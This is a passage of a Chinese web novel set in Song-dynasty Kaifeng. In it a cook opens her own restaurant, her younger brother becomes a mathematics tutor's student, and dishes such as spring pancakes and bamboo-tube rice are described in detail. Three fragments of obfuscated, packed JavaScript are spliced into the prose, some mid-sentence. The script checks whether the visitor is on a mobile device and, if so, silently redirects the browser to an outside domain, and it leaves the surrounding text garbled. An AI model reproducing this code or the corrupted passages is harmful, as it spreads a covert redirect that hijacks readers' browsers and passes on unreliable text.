“先生，您要求的事情我已经做到了。” 柳霄站姿笔直。 黄师道对这个弟子也颇为满意，笑道：“好，我算收下你这个弟子。” 柳霄大喜过望，连忙下跪叩拜。 “但我为了考验你，让你错过了春闱考试，要想再考只能等下半年的秋闱。你可会怪我？”黄师道问。 “学生不曾怪过老师，老师当初考验学生的时候，自然会考虑到这一点。但老师还是对学生提出了这个要求，这就证明学生的功课还不够好。即使勉强上场，也不会得到什么好名次。” 柳霄道。 这一番话说下来，让黄师道对柳霄更加满意。 “你能有如此心性，我感到很欣慰。”黄师道站起身，“我早些年曾经收过一个弟子，如今我将他介绍给你认识。” 柳霄正起脸色，恭敬地跟着黄师道一同走进内室。 内室里坐着个模样端庄的中年男子。 男子看见黄师道带人进来，不由站起身来叉手一拜，笑道：“恭喜老师又收获了一位称心如意的弟子。” 柳霄恭敬的对男子下拜：“见过师兄。” 男子摇摇头：“不必那么客气。” 黄师道笑道：“霄哥儿，你还不知道他是谁，他就是此前算经科的榜首，韦林。” 柳霄一怔。 他没有想到这个看似普通的男人居然有那么大的来历。 韦林道：“老师何必再拿这个名头出来唬人？在往前十几年，老师也是算经科的榜首啊。” 两人相识一笑。 黄师道道：“说正经事，我虽收了你这个小师弟，却不知该如何教他，你帮我看一看，他到底在何方面有天赋？” 韦林笑道：“既是让我来测，我自然要出几道算术题。” 柳霄再次叉手下拜：“还请师兄不吝赐教。” 于是韦林从易到难写了数十道考题摆在桌面，让柳霄在一柱香烧完之前全部写出来。 但是仅仅过去了半柱香，柳霄就将答案写满了纸面。 韦林惊异地拿起纸面仔细看了看，发现全部正确。 “好啊，好啊，这个孩子天生就适合考算经一科。”韦林赞叹道。 黄师道捋了捋胡子，笑道：“看来秋闱上的算经考试，你我师徒又要扬名了。” 柳霄垂眸不插话。 韦林道：“小师弟，我跟你说，老师教人从不走正道，不会一板一眼地叫你坐着埋头苦算，我们师门都讲究的是学以致用。正好我开了个书斋，以后你就跟着我在书斋里头跟人家算题。放心，我会付你工钱的。” 听到有工钱，刻在柳家血脉里的爱财基因一下子跳了出来。 柳霄问：“多少？” 韦林笑道：“一本算题册十文。” 宋朝一贯等于一千文，一钱等于一百文。 快速在心里换算过一遍后，柳霄点头答应。 “好！师兄，先给我七十本！” 韦林：啊？ * 柳霄成功拜师的事情让柳家上下都特别高兴。 柳金枝做了一桌好吃的庆祝。 但她也不忘记这个机会是傅家给的，理应感谢。 正好此时春闱刚过，傅霁景已经下过场，正是等待成绩名次下发的时候。 她该做些寓意吉祥喜庆的糕点送过去。 思索再三，她就定下了春饼和定胜糕。 春饼是宋朝人立春必食的薄饼。 其实往前一些到魏晋时期，春饼就已经有人吃了。 只不过那时候用来做春饼的食材是“五辛”，即葱、蒜、韭、薤和兴渠。 历史的车轮滚滚向前，春饼的原料食材也逐步扩大到纳入豌豆、菠菜等，又衍生出了“咬春”习俗。 到了宋朝，菜蔬更加丰富。 春饼用到的菜品又有了改变，有了白萝卜丝、蒌蒿、韭菜等新鲜时蔬。 成品色泽红绿交错，口感鲜脆，深得百姓喜爱。 刚好柳金枝的院子里就种了一些时令菜蔬。 她走过去拔起来。 刚出土的菜蔬还沾着一股春意，根部有泥土，更显得茎根碧绿欲滴。 为了不伤到其他菜蔬，她拔的很仔细。 根深一些的，就用小锄头慢慢挖。 最后挖出来一篮子，提着到井水口打水清洗。 井水清凉，在指尖划过，似清波一样。 菜蔬浸入水中，很快就洗干净了。 她捡出萝卜、蒌蒿和韭黄作为主料，再将菠菜、生菜等绿叶菜切丝，分门别类装在碗碟里。 随后倒入精细面粉，和水揉面，揉成软硬适中的面团，醒发小半个时辰。 为了达到隔饼见菜的薄透效果，柳金枝在面团醒好揪拽之时，每两个小团擀成面饼就就刷油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568986|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠合。 锅中也是一样。 将锅底每一处都细细地刷上油，等到油跳锅辣之时，眼疾手快将叠合的双层饼贴入锅中。 等到中火烙至双饼两面微黄，就用锅铲铲出来，趁热揭开成两张薄饼，覆湿布保温保湿。 最后准备一些仅以砂糖或米醋轻拌的酱料，春饼就做成了。 至于那些早就备好的菜蔬不必焯水，吃的时候，就用春饼卷起菜蔬蘸酱，更清甜爽脆。 柳金枝将他们装入一个食盒中，再转手来做定胜糕。 传说定胜糕与抗金名将韩世忠、岳飞相关。 当敌军来袭，南宋百姓为鼓舞将士士气，特制印有“定胜”二字的糕点，寓意“必定胜利”。 此后这款糕点从军中流传至民间，常用于科举、婚庆等场合。 明代兰陵笑笑生所写的《金瓶梅》中，就出现了许多次，可见定胜糕在民间传播之广。 不过柳金枝推测，这其中应该也有定胜糕做法简单的缘故。 因为就原料来说，定胜糕只需粳米与糯米，按照三比二的比例混合均匀即可。 至于糕上“定胜”二字，可加入红曲粉或玫瑰酱染色，最后辅以豆沙、糖板油丁等馅料。 工序上也不难。 将以上提到的粳米和糯米分别磨粉、拌潮，即加水揉搓、用模具压制出形状、再旺火蒸制。 最后成品口感松软清香，色泽淡红如茱萸。 只有定胜糕的形状颇有趣味。 其形制源于宋代金银铤的“定胜（升）形”。两头宽中间细，像一块块金银，正好象征财富与胜利。 柳金枝早已买好模板。 把准备好的原料压进模板里，定形片刻，再反扣敲下来，糕落成金，形状吉利。 她特意做了很多个，摆满了院子里的二十个簸箕。 毕竟参加春闱的可不止傅霁景一个，还有汴京城里许许多多的儿郎呢。 这可是一桩大生意。 正做着，杜卫从外头进来了，看见满院子的定胜糕，笑道：“东家，我与你想到一处了。” “怎的？” “我打听了一圈，附近饭馆里都挂上了定胜糕的牌子。我想着咱们也要卖，正要回来与你说呢，没想到已经做好了。” 柳金枝笑道：“生意就是要赶早。” 杜卫一边弯腰把纱布盖在簸箕上，免得尘土飞扬，一边说： “东家，有个事儿我想跟你说。” 柳金枝顿了顿，问：“怎么？食摊发生什么事了？” 杜卫摇摇头：“没什么大事，就是最近我卖吃食的时候，总感觉有人在暗地里看我们。” 柳金枝顿时停下做吃食的手：“此前孙玉香闹得那么厉害，是不是还有人想来看热闹？如果是这些就不用管，我连夜市都是照常去，那些流言蜚语对我没什么影响，也不怕别人打听。” “像是来看热闹的，但又不太像。”杜卫犹豫着说，“其中有一个……我认出来，是汴京城有名的泼皮无赖，专门……专门……” 柳金枝眉头一皱：“专门干什么？” “专门调戏妇女，赖人清白。” 36. 山海兜 “砰——！” 柳金枝把手里菜刀一下子剁在了菜板上。 唬得杜卫立即缩了下脖子。 柳金枝冷笑道：“他们这是听了孙玉香的鬼话，以为我人尽可妻，想来占我便宜？” 她一个人开食摊的时候就想到过这种情况。 毕竟她是一名年轻娘子，容貌也还算过得去。 家中又没有撑得起来的男人，只有幼弟、幼妹，要在这市井中混生活，很容易被人盯上。 也好在应天爵与他家有来往，周围人见了，碍于应天爵的名头，也忌惮一二，不敢来找麻烦。 但总有那么一两个不长眼的。 杜卫道：“东家，要不我去请应大爷来一趟？” 柳金枝磨牙：“先不忙。若每每有事都有求于人，总有求不动的时候，不如自己先立起来。” 她想了一想，道：“杜卫，你消息灵通，去帮我打听一下这几个泼皮无赖都住哪儿。要是他们不来惹我就罢了，若是来……” 柳金枝拿起菜刀，手腕利落翻了个花，然后狠狠一砍！ 实心木墩子做成的菜板，顿时四分五裂。 “我凭这把子力气，也不会叫他们好过！” 杜卫肃然：“好！我这就去！” 一溜儿跑了。 柳金枝收拾了下心情，把定胜糕和春饼分别装成四个食盒，叫了辆驴车往傅府去了。 傅府最近很热闹，春闱考过，就是放榜。 没人会觉得傅霁景考不上。 因此傅家门口门庭若市，大多都是来求教傅霁景的。 傅家的权势在汴京太过招摇醒目，为保全自身，一家人都以“和气待人”为第一要则，尽量做到不与人交恶。 所以但凡很有诚意的，傅家管事都会留下他们的姓名、试卷和地址，由傅霁景写了批语再送还回去。 因此，傅霁景在学子们中的名声也日益鼎盛。 柳金枝登门拜访时，正好遇上一群书生与傅霁景一同探讨诗词。 一群人在春色满园的庭院中或站或立，对诗、说笑，很是热闹。 双儿把柳金枝带来的四个食盒的其中两个，送到傅霁景手边，道： “二郎君，这是柳娘子送来的，说是她阿弟已经拜得名师，特来与您道谢。” 傅霁景抬眸一望。 柳金枝站在廊下，规规矩矩地与傅霁景福身一礼。 傅霁景不由笑起来，问双儿：“柳娘子手上还提了两个食盒，是送给谁的？” “是给大小姐和姑爷的。” 傅霁景点点头，想了想，笑道：“我想起来，我今日还没拜会过姐姐，等我结束这边的事情就去，你且让姐姐等等我。” 双儿：“是。” 尔后转过身，与柳金枝一同往后院去了。 傅霁景看着这两个食盒，正想着该如何脱身，身后有几个书生围上来笑道： “好香的味道，二郎，里头是什么？” “是啊，味道闻起来像是定胜糕。” …… 傅霁景便将食盒打开来，发现其中一个果然是定胜糕，另一个是春饼。 香气扑鼻，诱人食指大动。 傅霁景挑了下眉，似是想到了什么，问道：“你们可想试一试？” 书生们笑道：“若是二郎舍得，我们自然愿意。” 傅霁景便勾起唇角，一边把吃食都摆出来，一边温和道： “这些东西是方才廊下的娘子做的，她手艺很好。” “先前帮钦天监的李司正主持了四司六局，现在又在府上照顾我姐姐的胎。” “她还在太常寺附近开了一家小食摊，就叫柳氏食摊。” “你们……”傅霁景清咳两声，“可以去与她哪儿瞧瞧。” 傅霁景声名显赫，说是新生一代学子的领军人物也不为过。 因此他推荐的东西自然受大家响应。 “行，我今晚便去哪儿瞧瞧。” “二郎对这个食摊这般推崇，想必味道一定不不错。” 有个书生拈了块定胜糕咬了口，忍不住直点头：“味道清香酥软，比我以前吃的定胜糕清甜许多，还不腻口。” 另外有书生吃的是春饼。 “我从来没吃过这么新鲜的菜，好像刚从地里拔出来一样。” “确实很鲜脆，这饼皮也薄。” “来来来，这儿还有酱，大家都来试试。” …… 庭院内有数十个书生，两只食盒并不够吃，没一会儿就见了底。 引得人感叹：“难怪苏东坡往日每每遇上美食，都忍不住提笔作诗。今日我们吃了这春饼和糕，也算是得观古意了。” “诶，我有一个主意，咱们刚刚一直没定下最后一场诗会的诗题，如今就以“食”为题，如何？” “好主意，民以食为天，这个题切合民生！” “来来来，拿笔给我，我已有了一句。” …… 文人，大概皆是如此。 衣食住行、失意、发达皆可入诗。 要不然，后世学子哪儿来的唐诗宋词三千篇呢？ 与此同时，傅钗华处。 傅钗华用完了膳食，笑道：“柳娘子，当真是多谢你费心了。” 柳金枝摇摇头，笑道：“奴承蒙主家关照，做这些都是应当的。” 傅钗华对双儿示意了一下。 双儿点点头，端来一个盘子，上面放置着一个钱袋子。 “这段时间承蒙娘子照顾，这袋子里面一共有二十两银子，就算做这个月给娘子的浇手费。” 双儿道。 二十两？！ 柳金枝有些惊讶。 “二十两是不是太多了？”柳金枝道。 “对于别家也许算多，但对于我家却是不算。”双儿笑道，“娘子就收着吧。” 傅钗华也点头。 宋朝本来就对文人格外优待，不仅高官有厚禄，而且皇帝还经常公款请吃饭。 特别是对傅府这样的钟鸣鼎食之家，太爷又是太子太师，赏赐的金银自然不会少。 柳金枝起来福身道谢：“多谢主家。” 她掂了掂银子，心中将高粱坛子里的钱，与手中的赏钱一合计。 嘶…… 柳金枝缓缓睁大眼睛。 她好像攒够盘下铺面、开饭馆的银子了！ 柳金枝脸上的表情瞒不过别人。 傅钗华笑道：“柳娘子是有好事发生？” 柳金枝不好意思地笑：“我一直想开间小饭馆儿，主家给我的赏钱正好够了。” “以娘子的手艺，这饭馆早该开起来了。”傅钗华很支持，“可有选好地点？” 柳金枝摇摇头。 她原本觉得太常寺附近不错。 但被孙玉香闹了一场，哪儿反而是个是非地了。 她想要换个地方，但又不能离御街太远。 傅钗华想了想，道：“我倒是有一处地方闲置着，就是不知道合不合你的心意，就在御街西边，占地五十个平方，许你一个月租金一两，如何？” 汴京城内租金一两，这分明就是傅钗华故意给的便宜。 柳金枝很高兴，笑道：“多谢主家！” “谢什么，我还指望着你往后多照料我的胎呢。”傅钗华摆摆手，“开饭馆的事务繁琐，柳娘子，你现在就可以回去准备了。” 柳金枝连连点头，笑道：“那我告退了。” 就兴高采烈地离去。 双儿犹豫了下，说：“小姐，二郎君不是说他一会儿要来吗？您怎么就让柳娘子去了？” 傅钗华只是眯了眯眼睛，道：“但我看柳娘子走的挺高兴的。” 双儿茫然。 傅钗华沉思。 所以看样子，不是柳金枝对她阿弟有意思，而是她阿弟对柳金枝上了心啊。 * 柳金枝是很高兴，所以一回到家，就把开饭馆的事情公布了。 月牙、柳霄还有才回来的杜卫，都被这消息砸懵了。 “这、这就可以开饭馆了吗？”杜卫不可思议。 柳金枝去把高粱坛子抱出来，连带着傅钗华给自己的赏钱，一股脑倒在桌上。 铜钱弹跳，散了满桌。 众人凑上来一数。 果真够了！ 柳霄简直如在梦中。 月牙已经高兴傻了。 杜卫勉强反应过来，却兴奋地在房间里来回踱步。 “东家，地址选定了吗？”杜卫问。 “定了，就在御街西。” “那、那咱们就得请几个师傅帮忙做装修，饭馆一定要漂漂亮亮。” 杜卫拍手。 “还不止呢，咱们开了饭馆，人手就得扩大一倍。管账的，跑堂的，送菜的，还要有几个膳徒。不然生意一旦红火起来，我一个人做菜都做不过来。” 柳金枝笑说。 “阿姐说的有道理。”柳霄点头，“我等下就写两张大字贴，拿出去招人。” 杜卫道：“饭馆比食摊更大，咱们的桌椅还不够用，咱们还得出去买一批。” 月牙也想到：“还有还有！饭馆开业那天还要请舞龙舞狮，最好再放个大鞭炮！” “我觉得还有……” 一家人凑在一起兴奋地说个不停。 眨眼之间，提出了不少建议。 柳金枝笑道：“我有个想法，说给你们听听。” 几个人立即停下，认真看向柳金枝。 “咱们在这里住了这么久，平常遇事，街坊们都没少帮忙。” “所以我想咱们不如请街坊们去饭馆做事，工钱就比别处给的多些，也是一种报答。” “你们说呢？” 柳霄第一个点头：“我同意。隔壁的钱婶子、王婶子和黄婶子都闲在家中。偶尔出去给人帮工挣钱，我想她们应该会答应。” 柳金枝一笑：“别说什么应不应该，先将人请过来吧。我置办一桌席面，大家边吃边谈。” 三人：“好。” 算起来，这是柳金枝第二次请左邻右舍吃饭。 她想做的更好些，以谢大家相帮的热心。 于是在麦粥、稠饧等寻常菜色之中，额外加了一道山海兜。 这道菜原为宫廷菜“虾鱼笋蕨兜”，后传入民间，被改良成了如今的山海兜。 其做法主要被收录在南宋林洪的《山家清供》里头。 用料有虾仁、笋粒、蕨菜、鳜鱼…… 笋和蕨菜不算稀奇，虾仁倒要花些钱。 但请人办事，花钱是应当的。 柳金枝并不吝啬。 再把新鲜春笋找来，取其鲜嫩之处切丁。又将蕨菜焯水去涩，保留脆嫩口感。鳜鱼则是切片、虾仁保留整粒。 齐齐整整倒入大碗之中，加麻油、盐等调味。 山海兜的外兜是绿豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574173|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉做成，揉出来的面团呈浅绿色，却很薄，拿起来对着太阳瞧，恍若一片绿水晶。 柳金枝把面皮放在手中掂了掂，铺平后填入馅料，再用烫熟的香菜根扎口定型。 最后入蒸笼旺火蒸两分钟，再度取出时，粉皮透亮如蝉翼，内馅鲜香交融，很是诱人。 等到其他饭菜也陆陆续续做好时，黄昏已至，邻居们都到了。 大家还是像冬日里一样，围着一张桌子坐在庭院内说笑。 柳金枝给每人斟了一杯金华酒，笑道：“各位婶子，平日里我们柳家承蒙你们关照，今日置办酒席，就是为了答谢大家。” “这话说的倒叫我们不好意思，我们也没做什么。” 黄婶子笑道。 “好，婶子谦虚，那我也不多说了。”柳金枝端着酒杯一饮而尽，倒着亮相一圈，“我要说的话都在酒里，多谢！” 几位婶子都是心里一软。 待到动筷子时，发现这桌面上的都是好东西，看不出半点敷衍，不由得更觉得柳金枝懂事。 钱婶子爽快，道：“金枝，你有什么话就说了吧，只要是我做得到的，一定帮你。” 柳金枝也就笑着将饭馆招工的事情说了。 几个婶子都是哈哈大笑。 “我还以为是什么呢？不过就是去饭馆帮忙，我们还能挣些工钱，自然乐意啊。” 黄婶子笑道。 “也算我一个。” “我也是！” “我们要做什么，金枝你只管说就好了。” 几位婶子都这么畅快，柳金枝也就把饭馆里需要的职位都说了一遍。 有收拾桌椅、洗刷碗碟、打扫地面…… 给的工钱都要比别处丰厚二十文。 婶子们没有异议，又主动提出在饭馆建成之前也去帮忙。 于是这桩事就这么谈定了。 柳金枝笑眯眯招呼：“来，大家接着吃。” 正是此时，门口忽然传来一阵敲门声。 月牙兴奋的跳起来，道：“我去开门。” 柳金枝也是高兴，放着月牙去。 但没一会儿，就听见月牙在门口叫她：“阿姐，快过来，有个人找你。” 柳金枝疑惑的走到门口，却发现门口站着一张熟悉的脸。 阿芹对着柳金枝福身一礼，踌躇道：“柳娘子，打扰了，但不知你上次说的话是否还有效？我想当您的膳徒。” 柳金枝又惊又喜，连忙侧身让开一道空间，道：“快请进，我说的话当然有效，我正盼着你来了。” 杜卫、月牙和几个婶子都不认识阿芹，因此并没有上前。 阿芹来到屋里坐下，道：“前几天我的奴期到了，深思熟虑之后，还是决定来找娘子，还请娘子收留。” “你不知道，你来的正好，我正要开一家饭馆，却苦于没有人手帮忙。如果你想留下，我给你开一天五十文，只是饭馆起步初期可能要累些。” 阿芹倒不在意这些，只问：“那我能跟着娘子学做饭吗？娘子放心，我不会学成手艺就走，我想拜你为师。往后可以一直留在饭馆帮忙。” 柳金枝在三确认，阿芹都坚持如此之后。 “好，我愿意。” 阿芹眼前一亮，撇下包袱，下跪叩拜：“师父！” 柳金枝赶紧把人扶起来。 来了一个清秀温柔又知性的大姐姐，杜卫和月牙赶忙表示欢迎。 阿芹也很大方与众人一一见过。 柳金枝道：“既然阿芹加入了我们，自然也要住在这间房子里。杜卫你和月牙两个等会儿再去收拾一个偏室出来。” 两个人都点头。 柳金枝又对阿芹道：“我的饭馆还缺一位跑堂唱菜名的，如果你有认识的人可以推荐给我。” 阿芹点头，道：“好。” “现在阿芹跟着我拿着钱去盘铺子，杜卫你去找工匠师父，月牙你去街上找王师傅，请他帮我刻一套单子牌面出来，菜名我报给你听，你记住。” 月牙认真点头：“好。” 柳金枝将以前做过的蝌蚪粉一类都报给了月牙，还额外增添了许多。 阿芹担忧：“柳娘子，你报那么多的菜，一个小孩子记得住吗？” 柳金枝笑道：“你可不要小瞧她，她可是有名的过目不忘。” 果然，月牙一个人默了一会儿，就将全部的菜名都背了下来。 重复背诵的时候，没有一个字出错。 惊得阿芹瞪大了眼睛。 杜卫笑道：“东家我这就出去了，保管给你找手艺最好的工匠师傅。” 然后抱着月牙走了。 阿芹算是看出来了，柳金枝身边的人虽然少，但都是卧虎藏龙的高手。 月牙记忆力超群，这位杜卫小哥应该是熟悉城内的三教九流，听说柳金枝还有一个弟弟，算术能力超出常人。 她才刚来，又没有什么特长，看来需要更努力一点才可以在这里站稳脚。 阿芹打定主意，道：“我现在就出去找跑堂的。” 于是也跟着走了出去。 短时间之内想要建起一座饭馆比较困难。 但柳家上下众志成城，团结一心。 各自将自己的任务做到极致。 终于在半个月后，饭馆筹措妥当。 柳金枝叫人做了一块“柳氏饭馆”的招牌，高高挂起来。 “诸位！今日柳氏饭馆正式开业！” 37. 竹筒饭 柳金枝拿着火折子，走到一串红鞭炮下点燃。 噼里啪啦！ 鞭炮瞬间热闹炸开。 柳金枝道：“今日到我饭馆用饭的客人们，全都享受折扣优惠！八折！” 众人瞬间欢呼，大批人挤进了饭馆之中。 柳霄走到柳金枝身边，道：“恭喜阿姐。” “好不容易到了今天，总感觉有些不现实。”柳金枝笑道。 “以后阿姐的生意会越来越好的。”柳霄说着，从袖子里摸出一个东西递给柳金枝“阿姐，送给你。” 柳金枝定金一看才发现那居然是一只钗。 钗身是用金包银打造的，钗头镶嵌了九颗小珍珠。 “我本来想攒钱给阿姐买一辆镂鍮装花盘架车，但没想到你比我更厉害，已经开了这家饭馆，那车也没用了，所以我就买了这支钗。” 柳金枝却是一愣：“你哪儿来的银子？” 柳霄道：“我帮我人家做题挣的。” 柳金枝这才回忆起来，在开饭馆的这半个月，她忙的脚不沾地，没太注意柳霄这段时间干了什么。 只是偶尔晚回来的时候，发现他房间里的灯还亮着。 柳金枝还以为他是在勤奋学习，没想到是在做这些。 “阿姐很喜欢。” 柳金枝心中一软，抬头看着柳霄眼底浓重的乌青，就知道这段时间他为了挣银子没怎么睡好。 “我只挣了四五钱，没能力给阿姐买更好的钗。但我发誓，等我以后有钱了，一定会给阿姐簪上这世界上最漂亮的首饰。” 柳霄咧嘴笑着，将珍珠钗插入柳金枝乌黑的发髻中。 柳金枝摸了摸发钗，问：“好看吗？” “好看，阿姐是这世界上最好看的女子。” “骗人。” 姐弟两个相视一笑，流淌着脉脉温情。 饭馆开张第一天，柳金枝做好了充足的准备。 买好的做饭需要用到的全部食材，都堆在膳房待用。 正好趁着阿芹也在，柳金枝干脆一边教学，一边做新饭馆的第一道菜—— 竹筒饭。 春日的新鲜翠竹，配上香香糯糯的米饭，很合适把它作为饭馆开业的第一道菜。 “阿芹，过来。”柳金枝对着阿芹招招手，“去挑些竹子，我们来做竹筒饭，做成了就当作免费菜品，为每位顾客都送上一份。” 这种开业大酬宾现代很多饭馆都搞，说到底还是为了在大竞争中，以让利的手段站稳脚跟。 柳金枝也是同样。 顺便还能让顾客们感受到他们柳氏饭馆的诚意和手艺，是一举多得的事情。 阿芹对柳金枝很崇拜，言听计从。 一听说要去拿竹子，就迫不及待的跑了过去，没过多久就哼哧哼哧地拖出来两麻袋竹筒，满头大汗道： “师父，竹筒有好多，但是大小、厚度都不一样，随便用哪个都可以吗？” 这就是教学的第一点。 柳金枝摇头，道：“当然不是，食物也有自己的脾性。如果用了不合脾性的东西，这会伤了食物的味道。” “就拿竹筒饭的竹筒来打比方吧，一般要用新鲜的粉竹或者是山竹，这样在蒸饭的过程中，才能够保证竹子的清香进入每一颗饭粒。” “另外米也是有讲究的，需要用山兰稻，也就是香米来配，口感才能够又有嚼劲，又清香扑鼻。” “现在你去拿山竹和香米来。” 阿芹听的两眼发亮，只觉得柳金枝说的每一句话都是知识点，很想拿个小本子全部记下来。 但她又舍不得做过柳金枝接下来的教学，于是赶紧拿好了山竹和香米，站到灶台前。 “师父，接下来怎么做？”阿芹问。 柳金枝道：“你看好。” 她拿起竹子，在清水里洗干净，再一一摆放在灶台上晾干。 在把香米也细细淘洗过一遍后，她也不急着将香米塞进竹筒中，而是把米放进一个干净的盆里，往中加入适量的盐，用竹箸搅拌均匀。 然后取来一块肥瘦相间的猪肉，用菜刀切成碎，也跟着一块丢进盆里，再度搅拌。 这样一来，香米、盐巴和瘦猪肉就完全混合了。 到了这一步，柳金枝才道：“现在可以把这些东西塞进竹筒里了。”又转过头对阿芹说，“去取一个烧烤架来。” 阿芹点头去了，用手脚麻利的把烧烤架架在灶眼上。 柳金枝自己也没歇着，转过头去取了一些芭蕉叶，把这些芭蕉叶塞在竹筒的开口，一片，两片，三片，塞到柳金枝确保竹筒里的饭不会落出来，才肯停手。 “把火钳递给我。”柳金枝伸手。 阿芹勤奋照做，一双圆溜溜的大眼睛认真的盯着柳金枝的每个动作，充满着求知欲和好学欲，似乎生怕错过任何一个知识点。 柳金枝见她这么勤奋好学，一边操作一边细心解释道： “我们要用火钳把这些竹筒一个接一个夹到烧烤架上。” “在烤的过程当中要注意火候。” “大火容易烤焦，小火容易不熟，还是中火为好。” 柳金枝夹了一个竹筒当做示范。 “你瞧竹筒的表面有一层膜，当火烤到这层膜的时候，它就会发生卷曲。” “但是新鲜的竹筒水分多，一时之间不会烤焦，里面的饭和肉也不会熟。” “所以要想知道里面的饭的生熟情况，就观察竹筒的表面。” “什么时候竹筒的膜被烤焦了，那里面的饭和肉就熟了。” 阿芹小鸡啄米似的点点头，又看柳金枝一个人操持偌大的膳房十分辛苦，就自告奋勇道： ”师父，你去坐着休息吧，这些粗活我来干。等竹筒的表层被烤焦了，我再来告诉你。” 柳金枝见她积极的模样，心中颇感宽慰，也算是明白为什么会有一些老师傅喜欢收小弟子了。 每当自己传授经验时，不管这种经验有没有用，都能收获小弟子一双亮亮的星星眼，以及无敌崇拜的“哇哦”，是个人都会觉得情绪价值被拉满。 更何况阿芹还那么积极，膳房里的杂活儿她都抢着干，实在是给柳金枝省了很多事情。 所以柳金枝也不和阿芹客气，爽快地放开手，站在一旁指导阿芹把剩余的竹筒一个接一个放上烧烤架。 看着阿芹虽然忙，但满脸带笑的样子。 柳金枝有预感。 阿芹以后一定能在美食这个领域闪闪发光。 毕竟当一个人在自己所热爱的行业孜孜不倦地钻研下去时，她未来一定能迎来光明，区别只是早一些，和晚一些。 饭馆里头热热闹闹。 过了春闱，潘琅寰终于没借口把潘安玉按在家里读书了，所以潘家兄弟加上应天爵——项志轩等人都来祝贺，顺便帮柳金枝撑撑场子。 柳金枝自然不能白白辜负他们这番美意，于是找到应天爵，请应天爵带着他那帮兄弟们在门口排队，做出一副饭馆爆火的假象。 应天爵自然拍着胸脯应下。 这种现代网红营销手段古代还缺，外人一瞧见这个新开的小饭馆排队排得老长，里头座无虚席，还以为这家店子手艺高超。 于是不消半个时辰，柳氏小饭馆再度吸引了一波新客。 大家就着单子牌面七嘴八舌的点菜。 因为阿芹还没找到好的店小二，杜卫又要时不时出去送菜，报菜名的事儿就只能请亲友顶上。 潘琅寰、应天爵和项志轩自不必说，他们仨一个是位高权重的掌权人，一个是汴京帮闲，一个是文弱书生，都无法胜任。 只有潘安玉，不仅对菜名熟悉，还积极的不得了。 “您要什么？好嘞！一碗馉饳！” “来来来，客官里面儿请！” “得令，您听我给您报哈，一碗蝌蚪粉……” 潘安玉忙的不亦乐乎。 几个人的视线随着潘安玉一会儿跑到左，一会儿跑到右，脚不沾地。 潘琅寰见潘安玉没一会儿就累出了满头大汗，本来还想让潘安玉休息休息。 只是他一看潘安玉一双亮晶晶的眼睛，这话不由咽进了肚子里。 项志轩感叹道：“潘相公，其实潘兄他是真的很喜欢做菜，您瞧他，报起菜名的时候，比念书顺溜多了。” 应天爵也点头，道：“我听过潘兄念书，一篇《论语》从头到尾念得磕磕绊绊的，被逼急了，就一边念一边哭，哪儿像现在这么高兴。” 潘琅寰神情复杂。 他承认这俩人说得对，在饭馆里待着，潘安玉看起来是开心多了。 但是潘琅寰冷下脸道：“安玉他迟早要自己当家的，不去读书，只会做菜算个什么？能养活自己吗？” 话一说出口，应天爵和项志轩就忍不住扭过头来看了他一眼，又指了指爆火的柳氏饭馆。 这意思很明显。 “但他也没有柳娘子的手艺！”潘琅寰皱眉。 “没有手艺就学啊，潘相公，您一开始从老爷子手里接手生意，打理潘家的时候，也没有现在这么得心应手啊。” 项志轩笑道。 “是啊，说真的，潘家有您一个也就够了，您和潘兄弟的年岁相差也不大，何必那么发愁潘兄弟的未来呢？” 应天爵也帮着劝。 “干脆这样，您给潘兄弟开个饭馆，让潘兄弟主理。是赚是赔，就看他自个儿。要是万一将来做大了，也能有个安身之本不是？” 潘琅寰还是没松口，但望向潘安玉快乐的像蝴蝶一样飞来飞去的背影，眸光还是没有像往常一样锋利。 “再说吧。” 潘琅寰摆摆手。 项志轩与应天爵两个对视一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581414|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 应天爵悄悄笑道：“真该让柳娘子来劝他，保准儿一劝一个好。” 项志轩煞有其事地点头。 正说着，膳房里陆陆续续端上来食客们点的饭食，还有一份额外赠送的竹筒饭。 潘琅寰、项志轩和应天爵三人也得到了一份儿，算是给他们来捧场的犒劳。 见了吃食，三人也就把刚才的话题带过了。 应天爵笑道：“我听说云南那边倒是流行这样的吃食，把个饭塞在竹筒里烤熟。但也只听过，没吃过，这会子倒是大姑娘上轿头一回。” 项志轩拿过来一个，问：“说多不如吃一口，来，试试。” 就拿起旁边的竹箸，把竹筒口的芭蕉叶轻轻一挑！ 瞬间，一股浓郁的饭香，混杂着肉香和竹子的清香一块儿飘入鼻中。 引得应天爵眼前发亮，连声道：“我就知道柳妹子的手艺不会出错！” 也不顾烫，连忙伸手抓了一个敲开，把里头的饭倒出来。 